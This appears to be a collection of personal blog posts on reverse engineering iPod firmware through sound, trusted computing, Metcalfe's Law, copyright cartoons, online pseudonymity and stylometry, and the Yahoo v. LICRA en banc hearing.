Thanks to Mako, I heard about a remarkable piece of reverse engineering. A reverse engineer (Nils Schneider) wanted to study the firmware of the Apple iPod in order to figure out how to write software that runs on iPods. But he experienced a chicken-and-egg problem: after learning how to write simple programs to run on an iPod, he found that he couldn't figure out how to use the iPod's I/O hardware (in order to extract a copy of the firmwire) without studying the firmwire first to see how Apple does I/O. At the same time, he couldn't study the firmware without first extracting a copy of it.
His ingenious solution was to use someone else's technique for making the iPod squawk and squeak, in order to write a program that output the firmware as a series of sounds (which could then be recorded using a microphone, and analyzed using software on a PC in order to convert them back into a digital representation of the firmware). In effect, he turned the iPod and microphone system into an acoustic modem, and wrote his own modulation scheme for representing data as sound. He wasn't using the iPod's headphone jack; he was making the iPod itself squeak and squawk, using a piezoelectric element somewhere inside the iPod. To protect against background noise, he had to put the iPod and the microphone together inside a padded box, and let them sit for eight hours.
Somehow this reminds me of the scene in William Gibson's "Johnny Mnemonic" in which Johnny is made to recite (for three hours) a memorized computer program to which he has no conscious access. "And then it all faded to cool gray static and an endless tone poem in the artificial language. I sat and sang dead Ralfi's stolen program for three hours." In the story, the program in question is a misappropriated secret; here, despite the interesting aesthetic parallel, I think Schneider's purpose in studying the iPod's firmware is perfectly proper.
In fact, Nils Schneider's remarkable creativity with the iPod gives me a kind of hope for the future. In seventh grade, when I had a computer with a dead monitor (I think it turned out to be unplugged), I wrote a routine to give output in terms of beeps on the speaker; you could tell if a program was working by counting the number of beeps it output. (Strings could be translated into binary and then beeped at you that way, but it was a little tedious writing them down and trying to decode them.)
Schneider's ingenious approach shows several important virtues:
Richard Stallman writes:
But [IBM's] cooperation is incomplete: when I asked for the specifications necessary to make LinuxBIOS run on [ThinkPad] laptops, IBM refused -- citing, as the reason, the enforcement of "trusted computing".
Does anyone have more technical details on this? It doesn't seem inherently necessary to TCG's design that users be prevented from loading their own BIOS. In any case, if the ThinkPad BIOS can be flashed, it's not as if users can be prevented from substituting their own BIOS. Is it possible that many of the TCG CRTM functions were implemented by IBM within its BIOS and simply can't be moved outside of the BIOS on current ThinkPad designs?
Chris pointed out that he had heard on the Cryptography list about a paper by Odlyzko and Tilly that calls into question Metcalfe's Law. Metcalfe said that the value of a network is proportional to the square of the number of users of the network, because the number of possible conversation partners is n(n-1)/2. Odlyzko and Tilly say that not all possible conversation partners are equally valuable to everyone -- including a great discussion of Thoreau's comment on Maine and Texas -- and conclude that there are reasons to think that the value of a network grows more slowly than the square of the number of its users.
By the way, apart from saying that the value of networks grows quickly as they get larger, Metcalfe isn't actually that much of an optimist.
Mako found an amazing thing: the WIPO page on Women and Intellectual Property. (Actually, it looks like Greg Pomerantz found it and Mako wrote about it.)
I wish someone would start a blog or a site that collects examples of how copyrights and patents are marketed to various communities. Some of my favorite examples involve the government of Taiwan making a big effort to impress the U.S. Trade Representative and the overseas direct investment community with a series of copyright education campaigns. Of course, the Taiwanese approach to copyright education is not something that makes a lot of sense in American culture; the government hired people to create a bunch of cartoon characters, songs, slogans, and even dances in honor of copyright, and then held enormous public parties in which celebrities demonstrated all of these things and painted respect for copyright as one's patriotic duty as a modern Taiwanese citizen. (A lot of that material is no longer on-line, which is a real shame. But you can probably deduce from first principles most of what it looked like... if the Taiwanese government's copyright education campaigns did not exist, it would have been necessary to invent them.)
Another classic is the WIPO children's cartoons, which feature a multi-ethnic group of young children in a series of adventures involving copyrights, patents, and trademarks. In each case, one of the children has some kind of amazing talent (as a graphic artist or musician, as an inventor, or as a small business entrepreneur), tries to pursue it, is mocked by the unsympathetic and uncool adult world, is threated with exploitative behavior from the shady world of pirates, and then is suddenly informed about the relevant flavor of IP rights in somewhat excruciating detail by a young person. Good triumphs in the end as the newly-informed kid is able to use one or another kind of IP to put the piratical villains in their place and become a successful artist, inventor, or business person.
In general, you can have an interesting time by poking around the web sites of some law enforcement agencies, treaty organizations, etc., and trying to find their "For Kids" sections. They almost always have some kind of cartoon or game dedicated to putting a positive light on the organization's activity. It's an amazing genre.
"We once again beheld the stars" when we
emerged from darkness, or from misery:
Hans Bethe made us see them differently.
Timor mortis conturbat me.
Aaron: "In olden days, children used to whine to their parents and parents would reply by telling them how they have it so much better than those kids in China. In modern days, children whine on their blog and the kids in China tell them themselves."
Meanwhile, Mako gets a legitimate business inquiry from Nigeria that reads just like a 419 scam e-mail; from all accounts, ordinary Nigerians really do write e-mail in more or less the same style as the 419 scammers.
"[OPEC members] don't feel comfortable with oil above $50 a barrel because they know over the long term it starts to cause some shifts -- for example, people buying more hybrid autos, which use less gasoline." [says Rick Mueller, senior oil analyst at Energy Security Analysis in Wakefield, Mass.]
I recently mentioned the WIPO children's cartoons. They have one each about trademarks,copyrights,and patents.
Siva and Cory found that a group called the Alternative Law Forum has produced a pretty funny parody of the copyright cartoon. They're apparently working on their own versions of the patent and trademark cartoons next.
In February, I had an interesting conversation with Zooko about anonymity and pseudonymity. I pointed out that early cypherpunks were very optimistic about the ease with which Internet users would be able to maintain multiple, independent, unlinkable personas. They could simply have different names (or no names at all) for different situations, and avoid letting any information out that might connect these different personas. It would be hard to overstate how common this enthusiasm was in traditional cypherpunk optimism; the hope was that, not only would the occasional whistleblower be able to send the occasional isolated message, but people would be able to carry on long-term, repeated, mutually anonymous conversations -- many of them in public.
There have been lots of nice developments in anonymity, including both theoretical advances and deployed anonymity and pseudonymity technology. We have the various generations of remailers, we have Tor and other layered proxy systems, and we have elegant ideas like Invisiblog. But actually being pseudonymous turns out to be a lot of work, because there are just so many ways to mess up!
I mentioned the "tangled web" problem to Zooko: if you have several different personas, one of which may be your real name, those personas should ideally not have any of the same communication patterns. That includes spelling, punctuation, vocabulary, phrase structure, diction, frequency of communication, time of day of communication, and much more. There should not be any time correlation among your personas' communications (or at least no clearer correlation than could be accounted for by the hypothesis that you're in nearby timezones, and even that might be more information than you want to give away). Your different personas also should appear to have different knowledge, so that one of them might be expected to know certain things of which the other would be expected to be ignorant. (This can be a terribly difficult pretense to keep up in person, because psychologists are coming up with all sorts of ways to tell whether somebody is familiar with a particular topic, from clever language games and calculated ambiguities all the way through involuntary physical reactions. But on-line, we would expect to be free of some of these difficulties.) You might therefore have to keep track of which facts one persona is supposed to know as well as the fact that another persona isn't supposed to know about them.
This is a lot of work, and many of these factors are difficult to control consciously. The Tor bibliography points to a paper by Rao and Rohatgi on stylometry, the use of statistical techniques to try to attribute authorship to texts using only the evidence of the texts themselves. This was done successfully, and apparently convincingly, with some of the anonymous Federalist papers, and stylometric techniques have only gotten better. They can measure people's propensity to commit particular errors, to use particular words or kinds of words, to write sentences of particular lengths, to use one kind of punctuation or another, and combine dozens of factors that are believed to be fairly stable over time to produce a plausible composite model of the way someone writes. (One of my English teachers told me about the use of concordances to show that a writer had written a book after reading another one. The new book used an extremely unusual word that appeared in the earlier book, and the second author had never used that word in print before!)
The Rao and Rohatgi paper, "Can Pseudonymity Really Guarantee Privacy?", after discussing and demonstrating some stylometric techniques, suggests that anonymous communication channels are only a privacy solution at one layer, and that privacy can be compromised easily at another layer. They say:
We believe (and demonstrate) that recent advances in stylometry pose a significant threat to privacy that merits the serious and immediate attention of the privacy community. For instance, using stylometry, one can link the multiple pseudonyms of a person and if one such pseudonym happens to be his/her identity, then the protection afforded by the other pseudonyms is compromised.
(Notice that the author of this paragraph uses no comma before "and if", but uses a comma before "then" in an "if ... then" construction. I wonder if we could tell whether it was Rao or Rohatgi. Anyway, if you haven't read their paper, you should, because you'll learn vastly more from it than from the rest of this post.)
Zooko says that his first attempt at on-line pseudonymity was promptly unmasked by a human being, not even using formal statistical techniques: "[W]hen, in the throes of early cypherpunk enthusiasm, I decided to try a pseudonym, "Zooko" in 1996 or so, [...] Adam Back immediately responded to my posts to cypherpunks by asking if I were also Bryce Wilcox..." He points to the saying of Mark Twain: "If you tell the truth, you don't have to remember anything."
It's daunting to think just how much an effective pseudonymous communicator may have to remember. What time of day is the pseudonym supposed to be active? What punctuation style should the pseudonym use? What kind of vocabulary? Is the pseudonym a good typist (and if not, what particular kinds of typing errors does the pseudonym make)? Does the pseudonym regularly go on vacation at the same times as the real person behind it? Are there any idiosyncracies in the pseudonym's writing? Is there evidence of what kind of software the pseudonym's computer is running? Is the pseudonym good at writing HTML, does the pseudonym favor particular HTML tags, does the pseudonym use a particular HTML editor? Did the pseudonym ever make any claims about itself, its location, work history, academic qualifications, etc., and will it act consistently with those claims, and can it do things to back them up if someone tries (perhaps in a devious and subtle way) to call them into question? If there's more than one pseudonym per person, how can the person who controls all of them keep the answers to all these questions -- and others -- straight?
Most of these problems are independent of the limitations of whatever kind of anonymity technology is in use. Some anonymity technologies may themselves leak information beyond the control of the user, or give the user too many options that may result in different behavior visible to someone at the other end. (Right now I'm a little anxious about all the options in Privoxy, which is commonly used with Tor or as a privacy-enhancing proxy in its own right. If different users set up their Privoxies in sufficiently varying ways, they might become distinguishable on the basis of some of those differences!)
And getting over all these problems still requires having a way to defeat stylometry, and as yet nobody even has a clear account of how hard that would be, because nobody has extensively studied how good stylometry can be when the person whose style is under examination is trying to beat stylometry. (Here "nobody" excludes the spook lords in their halls of stone.)
Anonymity and pseudonymity are obviously easier in cases where there's less variation in the messages that end users are sending, and where very high latency is acceptable. For example, if users are only sending any one of 10 predetermined messages, it would be hard to do stylometry attacks against them when they didn't compose the messages themselves. That means that anonymous networks with very low information rate can probably be built, but it's best for the anonymity if the participants don't speak natural languages at all, and best of all if they don't try to say anything about the real world...
On the bright side, reading anonymously is easier than writing anonymously. It might be hard to write the Federalist papers without giving away who you are (or at least which Federalist numbers you wrote), but it might be relatively straightforward to publish the Federalist without knowing (or letting other people find out) who chooses to read it.
After discussing other reasons why anonymous publishing is hard and why linkability can result from a single casual error, Zooko continues:
The reason for my early cypherpunk enthusiasm about pseudonymity is that if a person can't be traced from on-line interaction to physical body, then that person can't be physically threatened, coerced, or attacked. Unfortunately, the easy implementations of pseudonymity give rise to another quality in addition to the "no tracing from pseudonym to body" quality. That secondary quality is the "no linking one of my pseudonyms to another of mine". In theory, we could have the former quality without the latter, which would ameliorate the problem of pseudonymous folks being immune from negative reputation. Which would, maybe, eventually, cause us to view pseudonymous people with less social suspicion. That's a long chain of "maybes". I'm not holding my breath!
In later conversation he suggests that cypherpunks were probably too optimistic about pseudonymity solely on the basis of this one important feature (freedom from punishment or coercion for communicating ideas), and that cypherpunks overgeneralized from this benefit to the conclusion that we don't, or shouldn't, need identity for anything. More about this question later, I hope.
Cory mentions a new project called Butler, which extends FireFox to alter the appearance of Google search results. The most interesting feature from my point of view is the elimination of restrictions on saving images from Google Print. Butler also removes Google text ads, and does various other things. Part of me can't help wondering whether this is meant as some sort of political statement about the controversial Google Toolbar AutoLink feature, which alters the appearance of web pages. Now the appearance of Google itself can be altered on the client side, with the removal of ads and the insertion of links to Google's competitors. Perhaps Mark Pilgrim means to say that what's sauce for the gander is sauce for the Goo... er, goose.
I'm constantly amazed by the programmability of FireFox and the Mozilla suite. I'm starting to understand why people are saying that they're great development environments, and I'm also starting to worry that there will soon be a new industry based on writing spyware for FireFox.
I apologize for the outage, and thank you for your patience.
The modification times on the entries for March have been fudged somewhat, but I don't know whether you can even see those as a reader, so I won't worry about it. All of my old links should now work, so if you encounter one that doesn't, please let me know!
I've also lost one name that I had added to my blogroll; if you remember who that was, please let me know about that, too.
My mother found some dead lettuce in her refrigerator. "This lettuce is dead", she said. "You had better send it to the Dead Lettuce Office", I said.
In an earlier post, I talked about Zooko's views on pseudonymity and privacy, including the general idea that pseudonymity is quite a lot harder to maintain that cypherpunk privacy enthusiasts originally hoped.
David Weekly sent me a very thoughtful comment on this, with a similar skepticism. David recalls that a friend happened to comment that she kept a journal on-line.
"LiveJournal?" I guessed.
"Yeah," she said, "that's right. But I don't use my name, so people can't find it."
"I can find it in 15 minutes."
[... S]ure enough, I found her pseudonym on LiveJournal in about fifteen minutes. Basically, it's a compression issue. Unless you can assume a very large shared secret codebook (certain "replacement names" for people, a la "C" = Chris the ex, "E" = Elizabeth the roommate, etc.), a certain amount of the keying and introduction has to actually be on the site. For instance, if you went to visit a specific place or had specific new interests, you probably would have to write out those things fully for the blog to be at all useful to your friends.
I would therefore posit that any public blog whose point it is even in part to reveal the life of the underlying person and their experiences is findable in a trivial amount of time, given even only a small amount of knowledge about the person. Public pseudonyms used in anything but the most academic of discussions are quickly discoverable by mentions of facts alone.
Beyond that, of course, there is the issue of "fist". As I'm sure you know, there were code listeners in the UK who would listen to transmissions from German field operators. Without even being able to decode the texts, the listeners were able to uniquely identify specific operators by the patterns of their transmissions. If this applies to banging out dits and dashes, how much more would this apply to style used in writing? Indeed, this is how the Unabomber was found out...the style was Ted Kaczyinski's and Ted's alone. So as long as one writes consistently, or even making use of a consistent set of aphorisms and analogies, one can be uniquely identified.
It's possible that automated tools will be able to scan the Net, matching well-defined personal sites and emails with public pseudonyms. The only real way around this is to either never make one's public persona public or never make the pseudonym public. The former is arguably difficult, save living as a hermit (with an Internet drop) and the latter defeats much of the point of having a pseudonym.
The "fist" idea reminds me of some of David Molnar's research on RFID privacy, where RFIDs that supposedly are privacy-protective may actually divulge persistent tracking information as a result of lower-level protocols (collision-avoidance schemes) that had not been specially designed for privacy protection.
There really is a layer-crossover problem. People rarely go to great lengths to make themselves statistically indistinguishable from other people. A pseudonym that writes only about a single topic (without making reference to life events), as Unlimited Freedom does, is better off, especially if that pseudonym writes only infrequently and at seemingly random times. But that doesn't coincide with the communications habits or preferences of very many people who might want (or think they might want) anonymity or pseudonymity.
There certainly are possibilities for mechanically rewriting texts. A machine can perform certain transformations to ensure consistency (or consistent randomness!) in certain stylistic distinctions, for example "it's" vs. "it is", "don't" vs. "do not", certain cases of passive voice vs. active voice, and so on. Pseudonymous writers should definitely use a spell check if they're not confident about their spelling or typographic abilities. (I think a persistent typo was one of the stylometric tricks that linked up pseudonymous posts in the stylometry paper that the Tor bibliography includes.) But David's observation functions mostly at higher levels, which can't be mechanically rewritten. And I think his observations are dead on with regard to people blogging about their own lives, unless they already belong to a simply vast anonymity set or make very cautious military-censor-like decisions about what they're going to include. Loose lips sink pseudonyms, but most bloggers who discuss their personal lives have nothing if not loose lips...
I visited my elementary school during my vacation last week and was pleased to run into about five of my elementary school teachers. Apparently, it's routine for teachers to teach at the Campus School for over twenty years. I was very excited to see them again and was once again persuaded that the Campus School is a wonderful place.
Various civil liberties attorneys, international visitors, and I made the brief trip two weeks ago over to the main courthouse of the Ninth Circuit in the South of Market Area in San Francisco. It's a beautiful building, and, though I've seen one other argument in the Ninth Circuit at another venue, I had never been inside this courthouse before.
We were there to see the rehearing en banc in Yahoo v. LICRA (more fully, Yahoo, Inc., v. La Ligue Contra Le Racisme et L'Antisemitisme). This is better known as the "Nazi memorabilia auctions" case. Previously, a French court had ruled in favor of student antiracist groups that sued Yahoo in France for permitting Nazi materials on its web sites, including Yahoo Auctions. Yahoo then filed suit in the U.S. to try to block enforcement of that judgment against it here on the grounds that enforcing that decision would violate Yahoo's first amendment rights. Yahoo won that case in the District Court and then lost on appeal to the Ninth Circuit. (The three-judge panel ruled that U.S. courts did not have jurisdiction over the French groups at this stage because they had not actually tried to enforce the French decision in the U.S.) Yahoo then sought rehearing en banc (before a larger panel of judges of the Ninth Circuit); EFF was amicus in support of Yahoo's rehearing request.
The en banc panel consisted of 11 randomly-selected judges of the Ninth Circuit, who had the power to reverse the earlier decision of three judges of that court. (Interestingly, they also have the power to reverse other earlier published decisions by the Ninth Circuit, something they alluded to during the argument; a Circuit Court sitting en banc is technically bound only by Supreme Court decisions, making it uniquely unconstrained by precedent if it so chooses.)
In theory, a lot of the U.S. case relates to the question of whether suing a U.S. entity abroad, in an effort to intimidate it or change its behavior in the U.S., is enough to give the U.S. entity a right to sue here for a judicial determination of whether its behavior is protected by U.S. law. This is a particular species of the question of when a court will exercise jurisdiction to grant a declaratory judgment, in order to avoid the "sword of Damocles" problem where someone is intimidated by an ongoing threat of a lawsuit.
Oddly, the judges did not seem particularly familiar with the factual history of the case. The lawyers came prepared to argue about jurisdiction, but a huge proportion of the questioning from the court was about specific facts, which ought to have been in the record. I don't think either side was prepared for such extensive factual questioning; I think both sides assumed that the judges would already have read the record of the case.
One of the judges got very upset at Yahoo for having brought the case in the first place, suggesting that Yahoo should not be seeking the right to sell and profit from Nazi memorabilia. He suggested that Yahoo should simply accept that it was wrong to help people trade Nazi objects or ideas, comply with the French judgment, and go home. The other judges mostly seemed to accept the idea that Yahoo did have a first amendment interest at stake, but weren't sure about whether declaratory judgment was appropriate in a situation like this.
One of the oddities of declaratory judgment is that the plaintiff often tries to show that it does have legal risk or exposure (that it is arguably doing something improper and hence is at risk of being sued), whereas the defendant tries to make the case go away by suggesting that it actually has no objection to the plaintiff's behavior. You can ridicule this dynamic as the "I'm a bad guy and you hate me"/"No you're not, and I don't" exchange.
Indeed, Yahoo spent a long time arguing that it was, in fact, flagrantly violating the French court's order, that it had never been in compliance with the French court's order, and that it was incapable of complying with it. It suggested that it was likely to get in plenty of trouble for continually flouting the court order and could be liable for an enormous fine. (Normally you don't hear corporate lawyers go to such great lengths to argue that the corporations are continuing to disobey court orders.) On the other side, LICRA (trying to make the case go away by suggesting that there was no real disagreement) kept arguing that Yahoo actually was complying with the court's order, that Yahoo was at no risk, that Yahoo was already doing the right thing, etc. This was quite a spectacle.
I'm amazed by the non-universalism that everyone in the courtroom (with the possible exception of the judge who criticized Yahoo) displayed. Everyone accepted the idea that France was right to forbid racist advocacy while the U.S. was simultaneously right to permit it, and that neither country ought to be able to do anything to undermine the other's policy. I heard nothing from other side that would have brought this idea into doubt. There was certainly no argument by the lawyers themselves that Nazi auctions were actually good or bad or that censorship of racist advocacy was actually a good or a bad thing. The theory seemed to be "they censor it, we don't, the question here is whether that discrepancy given a particular set of facts will create jurisdiction for a declaratory judgment action". I guess this could be seen as another instance of lawyers' and judges' famous ability to compartmentalize issues.